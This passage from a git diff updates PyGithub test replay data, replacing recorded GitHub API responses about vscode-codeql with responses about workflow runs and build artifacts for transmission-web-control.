f"}},{"id":661177973,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzc5NzM=","name":"build-tar","size_in_bytes":1168698,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661177973","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661177973/zip","expired":false,"created_at":"2023-04-23T19:39:21Z","updated_at":"2023-04-23T19:39:25Z","expires_at":"2023-07-22T19:39:02Z","workflow_run":{"id":4780087257,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"420776fb9d3b8e7d53aa50d22ae788a97f41bff3"}},{"id":661176828,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzY4Mjg=","name":"build-tar","size_in_bytes":1168328,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176828","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176828/zip","expired":false,"created_at":"2023-04-23T19:36:57Z","updated_at":"2023-04-23T19:36:57Z","expires_at":"2023-07-22T19:36:52Z","workflow_run":{"id":4780079484,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"7258bfc5ae48f7223065010a66314658e12aea58"}},{"id":661176801,"node_id":"MDg6QXJ0aWZhY3Q2NjExNzY4MDE=","name":"build-tar","size_in_bytes":1168709,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176801","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661176801/zip","expired":false,"created_at":"2023-04-23T19:36:52Z","updated_at":"2023-04-23T19:36:52Z","expires_at":"2023-07-22T19:36:48Z","workflow_run":{"id":4780079406,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"7258bfc5ae48f7223065010a66314658e12aea58"}},{"id":661165714,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjU3MTQ=","name":"build-tar","size_in_bytes":1168685,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165714","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165714/zip","expired":false,"created_at":"2023-04-23T19:13:57Z","updated_at":"2023-04-23T19:14:01Z","expires_at":"2023-07-22T19:13:53Z","workflow_run":{"id":4779995347,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"70407689850cbd47720b93c494077b71b91f15b5"}},{"id":661165696,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjU2OTY=","name":"build-tar","size_in_bytes":1168338,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165696","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661165696/zip","expired":false,"created_at":"2023-04-23T19:13:59Z","updated_at":"2023-04-23T19:14:00Z","expires_at":"2023-07-22T19:13:54Z","workflow_run":{"id":4779995252,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"70407689850cbd47720b93c494077b71b91f15b5"}},{"id":661164561,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjQ1NjE=","name":"build-tar","size_in_bytes":1168660,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164561","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164561/zip","expired":false,"created_at":"2023-04-23T19:12:15Z","updated_at":"2023-04-23T19:12:17Z","expires_at":"2023-07-22T19:12:01Z","workflow_run":{"id":4779986317,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"55aef0d23032b06544e4f91e18dd940a1ec41480"}},{"id":661164485,"node_id":"MDg6QXJ0aWZhY3Q2NjExNjQ0ODU=","name":"build-tar","size_in_bytes":1168356,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164485","archive_download_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/artifacts/661164485/zip","expired":false,"created_at":"2023-04-23T19:12:01Z","updated_at":"2023-04-23T19:12:03Z","expires_at":"2023-07-22T19:11:57Z","workflow_run":{"id":4779986070,"repository_id":631628708,"head_repository_id":631628708,"head_branch":"vite","head_sha":"55aef0d23032b06544e4f91e18dd940a1ec41480"}}]} diff --git a/tests/ReplayData/Artifact.testGetArtifactsFromWorkflow.txt b/tests/ReplayData/Artifact.testGetArtifactsFromWorkflow.txt index d1999243b9..2d33f1c8e5 100644 --- a/tests/ReplayData/Artifact.testGetArtifactsFromWorkflow.txt +++ b/tests/ReplayData/Artifact.testGetArtifactsFromWorkflow.txt @@ -2,21 +2,20 @@ https GET api.github.com None -/repos/github/vscode-codeql/actions/runs/160995070 +/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Sep 2022 11:31:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"4e62f3e45aa64c41f5d8dda4bf9c8e155c592b4f9d70cedf888671f278775a36"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '60'), ('X-RateLimit-Remaining', '47'), ('X-RateLimit-Reset', '1664368108'), ('X-RateLimit-Used', '13'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AB22:78D3:20371B2:20B2648:63343095')] -{"id":160995070,"name":"Release","node_id":"MDExOldvcmtmbG93UnVuMTYwOTk1MDcw","head_branch":"v1.3.1","head_sha":"c4353981fa5a3565d075d187276eebd92b2a20fc","path":".github/workflows/release.yml","display_title":"Release","run_number":47,"event":"push","status":"completed","conclusion":"success","workflow_id":247289,"check_suite_id":887193234,"check_suite_node_id":"MDEwOkNoZWNrU3VpdGU4ODcxOTMyMzQ=","url":"https://api.github.com/repos/github/vscode-codeql/actions/runs/160995070","html_url":"https://github.com/github/vscode-codeql/actions/runs/160995070","pull_requests":[],"created_at":"2020-07-07T18:34:48Z","updated_at":"2020-07-07T18:36:58Z","actor":{"login":"jcreedcmu","id":1500822,"node_id":"MDQ6VXNlcjE1MDA4MjI=","avatar_url":"https://avatars.githubusercontent.com/u/1500822?v=4","gravatar_id":"","url":"https://api.github.com/users/jcreedcmu","html_url":"https://github.com/jcreedcmu","followers_url":"https://api.github.com/users/jcreedcmu/followers","following_url":"https://api.github.com/users/jcreedcmu/following{/other_user}","gists_url":"https://api.github.com/users/jcreedcmu/gists{/gist_id}","starred_url":"https://api.github.com/users/jcreedcmu/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jcreedcmu/subscriptions","organizations_url":"https://api.github.com/users/jcreedcmu/orgs","repos_url":"https://api.github.com/users/jcreedcmu/repos","events_url":"https://api.github.com/users/jcreedcmu/events{/privacy}","received_events_url":"https://api.github.com/users/jcreedcmu/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2020-07-07T18:34:48Z","jobs_url":"https://api.github.com/repos/github/vscode-codeql/actions/runs/160995070/jobs","logs_url":"https://api.github.com/repos/github/vscode-codeql/actions/runs/160995070/logs","check_suite_url":"https://api.github.com/repos/github/vscode-codeql/check-suites/887193234","artifacts_url":"https://api.github.com/repos/github/vscode-codeql/actions/runs/160995070/artifacts","cancel_url":"https://api.github.com/repos/github/vscode-codeql/actions/runs/160995070/cancel","rerun_url":"https://api.github.com/repos/github/vscode-codeql/actions/runs/160995070/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/github/vscode-codeql/actions/workflows/247289","head_commit":{"id":"c4353981fa5a3565d075d187276eebd92b2a20fc","tree_id":"b5561db1b83aa7f5bd0e5126b375caaf79cc16fb","message":"update CHANGELOG for release","timestamp":"2020-07-07T18:28:53Z","author":{"name":"Jason Reed","email":"jcreedcmu@github.com"},"committer":{"name":"Jason Reed","email":"jcreedcmu@github.com"}},"repository":{"id":211169016,"node_id":"MDEwOlJlcG9zaXRvcnkyMTExNjkwMTY=","name":"vscode-codeql","full_name":"github/vscode-codeql","private":false,"owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/github/vscode-codeql","description":"An extension for Visual Studio Code that adds rich language support for CodeQL","fork":false,"url":"https://api.github.com/repos/github/vscode-codeql","forks_url":"https://api.github.com/repos/github/vscode-codeql/forks","keys_url":"https://api.github.com/repos/github/vscode-codeql/keys{/key_id}","collaborators_url":"https://api.github.com/repos/github/vscode-codeql/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/github/vscode-codeql/teams","hooks_url":"https://api.github.com/repos/github/vscode-codeql/hooks","issue_events_url":"https://api.github.com/repos/github/vscode-codeql/issues/events{/number}","events_url":"https://api.github.com/repos/github/vscode-codeql/events","assignees_url":"https://api.github.com/repos/github/vscode-codeql/assignees{/user}","branches_url":"https://api.github.com/repos/github/vscode-codeql/branches{/branch}","tags_url":"https://api.github.com/repos/github/vscode-codeql/tags","blobs_url":"https://api.github.com/repos/github/vscode-codeql/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/github/vscode-codeql/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/github/vscode-codeql/git/refs{/sha}","trees_url":"https://api.github.com/repos/github/vscode-codeql/git/trees{/sha}","statuses_url":"https://api.github.com/repos/github/vscode-codeql/statuses/{sha}","languages_url":"https://api.github.com/repos/github/vscode-codeql/languages","stargazers_url":"https://api.github.com/repos/github/vscode-codeql/stargazers","contributors_url":"https://api.github.com/repos/github/vscode-codeql/contributors","subscribers_url":"https://api.github.com/repos/github/vscode-codeql/subscribers","subscription_url":"https://api.github.com/repos/github/vscode-codeql/subscription","commits_url":"https://api.github.com/repos/github/vscode-codeql/commits{/sha}","git_commits_url":"https://api.github.com/repos/github/vscode-codeql/git/commits{/sha}","comments_url":"https://api.github.com/repos/github/vscode-codeql/comments{/number}","issue_comment_url":"https://api.github.com/repos/github/vscode-codeql/issues/comments{/number}","contents_url":"https://api.github.com/repos/github/vscode-codeql/contents/{+path}","compare_url":"https://api.github.com/repos/github/vscode-codeql/compare/{base}...{head}","merges_url":"https://api.github.com/repos/github/vscode-codeql/merges","archive_url":"https://api.github.com/repos/github/vscode-codeql/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/github/vscode-codeql/downloads","issues_url":"https://api.github.com/repos/github/vscode-codeql/issues{/number}","pulls_url":"https://api.github.com/repos/github/vscode-codeql/pulls{/number}","milestones_url":"https://api.github.com/repos/github/vscode-codeql/milestones{/number}","notifications_url":"https://api.github.com/repos/github/vscode-codeql/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/github/vscode-codeql/labels{/name}","releases_url":"https://api.github.com/repos/github/vscode-codeql/releases{/id}","deployments_url":"https://api.github.com/repos/github/vscode-codeql/deployments"},"head_repository":{"id":211169016,"node_id":"MDEwOlJlcG9zaXRvcnkyMTExNjkwMTY=","name":"vscode-codeql","full_name":"github/vscode-codeql","private":false,"owner":{"login":"github","id":9919,"node_id":"MDEyOk9yZ2FuaXphdGlvbjk5MTk=","avatar_url":"https://avatars.githubusercontent.com/u/9919?v=4","gravatar_id":"","url":"https://api.github.com/users/github","html_url":"https://github.com/github","followers_url":"https://api.github.com/users/github/followers","following_url":"https://api.github.com/users/github/following{/other_user}","gists_url":"https://api.github.com/users/github/gists{/gist_id}","starred_url":"https://api.github.com/users/github/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/github/subscriptions","organizations_url":"https://api.github.com/users/github/orgs","repos_url":"https://api.github.com/users/github/repos","events_url":"https://api.github.com/users/github/events{/privacy}","received_events_url":"https://api.github.com/users/github/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/github/vscode-codeql","description":"An extension for Visual Studio Code that adds rich language support for CodeQL","fork":false,"url":"https://api.github.com/repos/github/vscode-codeql","forks_url":"https://api.github.com/repos/github/vscode-codeql/forks","keys_url":"https://api.github.com/repos/github/vscode-codeql/keys{/key_id}","collaborators_url":"https://api.github.com/repos/github/vscode-codeql/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/github/vscode-codeql/teams","hooks_url":"https://api.github.com/repos/github/vscode-codeql/hooks","issue_events_url":"https://api.github.com/repos/github/vscode-codeql/issues/events{/number}","events_url":"https://api.github.com/repos/github/vscode-codeql/events","assignees_url":"https://api.github.com/repos/github/vscode-codeql/assignees{/user}","branches_url":"https://api.github.com/repos/github/vscode-codeql/branches{/branch}","tags_url":"https://api.github.com/repos/github/vscode-codeql/tags","blobs_url":"https://api.github.com/repos/github/vscode-codeql/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/github/vscode-codeql/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/github/vscode-codeql/git/refs{/sha}","trees_url":"https://api.github.com/repos/github/vscode-codeql/git/trees{/sha}","statuses_url":"https://api.github.com/repos/github/vscode-codeql/statuses/{sha}","languages_url":"https://api.github.com/repos/github/vscode-codeql/languages","stargazers_url":"https://api.github.com/repos/github/vscode-codeql/stargazers","contributors_url":"https://api.github.com/repos/github/vscode-codeql/contributors","subscribers_url":"https://api.github.com/repos/github/vscode-codeql/subscribers","subscription_url":"https://api.github.com/repos/github/vscode-codeql/subscription","commits_url":"https://api.github.com/repos/github/vscode-codeql/commits{/sha}","git_commits_url":"https://api.github.com/repos/github/vscode-codeql/git/commits{/sha}","comments_url":"https://api.github.com/repos/github/vscode-codeql/comments{/number}","issue_comment_url":"https://api.github.com/repos/github/vscode-codeql/issues/comments{/number}","contents_url":"https://api.github.com/repos/github/vscode-codeql/contents/{+path}","compare_url":"https://api.github.com/repos/github/vscode-codeql/compare/{base}...{head}","merges_url":"https://api.github.com/repos/github/vscode-codeql/merges","archive_url":"https://api.github.com/repos/github/vscode-codeql/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/github/vscode-codeql/downloads","issues_url":"https://api.github.com/repos/github/vscode-codeql/issues{/number}","pulls_url":"https://api.github.com/repos/github/vscode-codeql/pulls{/number}","milestones_url":"https://api.github.com/repos/github/vscode-codeql/milestones{/number}","notifications_url":"https://api.github.com/repos/github/vscode-codeql/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/github/vscode-codeql/labels{/name}","releases_url":"https://api.github.com/repos/github/vscode-codeql/releases{/id}","deployments_url":"https://api.github.com/repos/github/vscode-codeql/deployments"}} +[('Server', 'GitHub.com'), ('Date', 'Thu, 01 Jun 2023 09:00:22 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e155526e93a04d68985a933ef3aef6e0c62dccac50085d3401ce790ae3bbcbe6"'), ('X-OAuth-Scopes', 'delete:packages, gist, read:discussion, read:org, repo, workflow, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4685'), ('X-RateLimit-Reset', '1685613199'), ('X-RateLimit-Used', '315'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '1938:07C4:1C639B2:1DA21CD:64785E26')] +{"id":5138169628,"name":"CI","node_id":"WFR_kwLOJaXjpM8AAAABMkI_HA","head_branch":"master","head_sha":"03c2d3a9830af81414810cc51f6507073b7451f2","path":".github/workflows/ci.yaml","display_title":"build(deps): update pnpm to v8.6.0 (#108)","run_number":363,"event":"push","status":"completed","conclusion":"success","workflow_id":55173778,"check_suite_id":13284968091,"check_suite_node_id":"CS_kwDOJaXjpM8AAAADF9iGmw","url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628","html_url":"https://github.com/transmission-web-control/transmission-web-control/actions/runs/5138169628","pull_requests":[],"created_at":"2023-05-31T22:12:21Z","updated_at":"2023-05-31T22:13:04Z","actor":{"login":"trim21","id":13553903,"node_id":"MDQ6VXNlcjEzNTUzOTAz","avatar_url":"https://avatars.githubusercontent.com/u/13553903?v=4","gravatar_id":"","url":"https://api.github.com/users/trim21","html_url":"https://github.com/trim21","followers_url":"https://api.github.com/users/trim21/followers","following_url":"https://api.github.com/users/trim21/following{/other_user}","gists_url":"https://api.github.com/users/trim21/gists{/gist_id}","starred_url":"https://api.github.com/users/trim21/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/trim21/subscriptions","organizations_url":"https://api.github.com/users/trim21/orgs","repos_url":"https://api.github.com/users/trim21/repos","events_url":"https://api.github.com/users/trim21/events{/privacy}","received_events_url":"https://api.github.com/users/trim21/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2023-05-31T22:12:21Z","triggering_actor":{"login":"trim21","id":13553903,"node_id":"MDQ6VXNlcjEzNTUzOTAz","avatar_url":"https://avatars.githubusercontent.com/u/13553903?v=4","gravatar_id":"","url":"https://api.github.com/users/trim21","html_url":"https://github.com/trim21","followers_url":"https://api.github.com/users/trim21/followers","following_url":"https://api.github.com/users/trim21/following{/other_user}","gists_url":"https://api.github.com/users/trim21/gists{/gist_id}","starred_url":"https://api.github.com/users/trim21/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/trim21/subscriptions","organizations_url":"https://api.github.com/users/trim21/orgs","repos_url":"https://api.github.com/users/trim21/repos","events_url":"https://api.github.com/users/trim21/events{/privacy}","received_events_url":"https://api.github.com/users/trim21/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/jobs","logs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/logs","check_suite_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/check-suites/13284968091","artifacts_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/artifacts","cancel_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/cancel","rerun_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/actions/workflows/55173778","head_commit":{"id":"03c2d3a9830af81414810cc51f6507073b7451f2","tree_id":"804e00d0e969fa9fdf9e17a3b502f38dce43de9c","message":"build(deps): update pnpm to v8.6.0 (#108)\n\nCo-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>","timestamp":"2023-05-31T22:12:18Z","author":{"name":"renovate[bot]","email":"29139614+renovate[bot]@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":631628708,"node_id":"R_kgDOJaXjpA","name":"transmission-web-control","full_name":"transmission-web-control/transmission-web-control","private":false,"owner":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/transmission-web-control/transmission-web-control","description":"maintained fork of ronggang/transmission-web-control","fork":false,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control","forks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/forks","keys_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/keys{/key_id}","collaborators_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/teams","hooks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/hooks","issue_events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/events{/number}","events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/events","assignees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/assignees{/user}","branches_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/branches{/branch}","tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/tags","blobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/refs{/sha}","trees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/trees{/sha}","statuses_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/statuses/{sha}","languages_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/languages","stargazers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/stargazers","contributors_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contributors","subscribers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscribers","subscription_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscription","commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/commits{/sha}","git_commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/commits{/sha}","comments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/comments{/number}","issue_comment_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/comments{/number}","contents_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contents/{+path}","compare_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/compare/{base}...{head}","merges_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/merges","archive_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/downloads","issues_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues{/number}","pulls_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/pulls{/number}","milestones_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/milestones{/number}","notifications_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/labels{/name}","releases_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/releases{/id}","deployments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/deployments"},"head_repository":{"id":631628708,"node_id":"R_kgDOJaXjpA","name":"transmission-web-control","full_name":"transmission-web-control/transmission-web-control","private":false,"owner":{"login":"transmission-web-control","id":131607464,"node_id":"O_kgDOB9grqA","avatar_url":"https://avatars.githubusercontent.com/u/131607464?v=4","gravatar_id":"","url":"https://api.github.com/users/transmission-web-control","html_url":"https://github.com/transmission-web-control","followers_url":"https://api.github.com/users/transmission-web-control/followers","following_url":"https://api.github.com/users/transmission-web-control/following{/other_user}","gists_url":"https://api.github.com/users/transmission-web-control/gists{/gist_id}","starred_url":"https://api.github.com/users/transmission-web-control/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/transmission-web-control/subscriptions","organizations_url":"https://api.github.com/users/transmission-web-control/orgs","repos_url":"https://api.github.com/users/transmission-web-control/repos","events_url":"https://api.github.com/users/transmission-web-control/events{/privacy}","received_events_url":"https://api.github.com/users/transmission-web-control/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/transmission-web-control/transmission-web-control","description":"maintained fork of ronggang/transmission-web-control","fork":false,"url":"https://api.github.com/repos/transmission-web-control/transmission-web-control","forks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/forks","keys_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/keys{/key_id}","collaborators_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/teams","hooks_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/hooks","issue_events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/events{/number}","events_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/events","assignees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/assignees{/user}","branches_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/branches{/branch}","tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/tags","blobs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/refs{/sha}","trees_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/trees{/sha}","statuses_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/statuses/{sha}","languages_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/languages","stargazers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/stargazers","contributors_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contributors","subscribers_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscribers","subscription_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/subscription","commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/commits{/sha}","git_commits_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/git/commits{/sha}","comments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/comments{/number}","issue_comment_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues/comments{/number}","contents_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/contents/{+path}","compare_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/compare/{base}...{head}","merges_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/merges","archive_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/downloads","issues_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/issues{/number}","pulls_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/pulls{/number}","milestones_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/milestones{/number}","notifications_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/labels{/name}","releases_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/releases{/id}","deployments_url":"https://api.github.com/repos/transmission-web-control/transmission-web-control/deployments"}} https GET api.github.com None -/repos/github/vscode-codeql/actions/runs/160995070/artifacts +/repos/transmission-web-control/transmission-web-control/actions/runs/5138169628/artifacts {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 -[('Server', 'GitHub.com'), ('Date', 'Wed, 28 Sep 2022 11:31:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"384dd95df518dd09f3403cdb0efea6f07b615808530fa59263a9f3f6a39e0436"'), 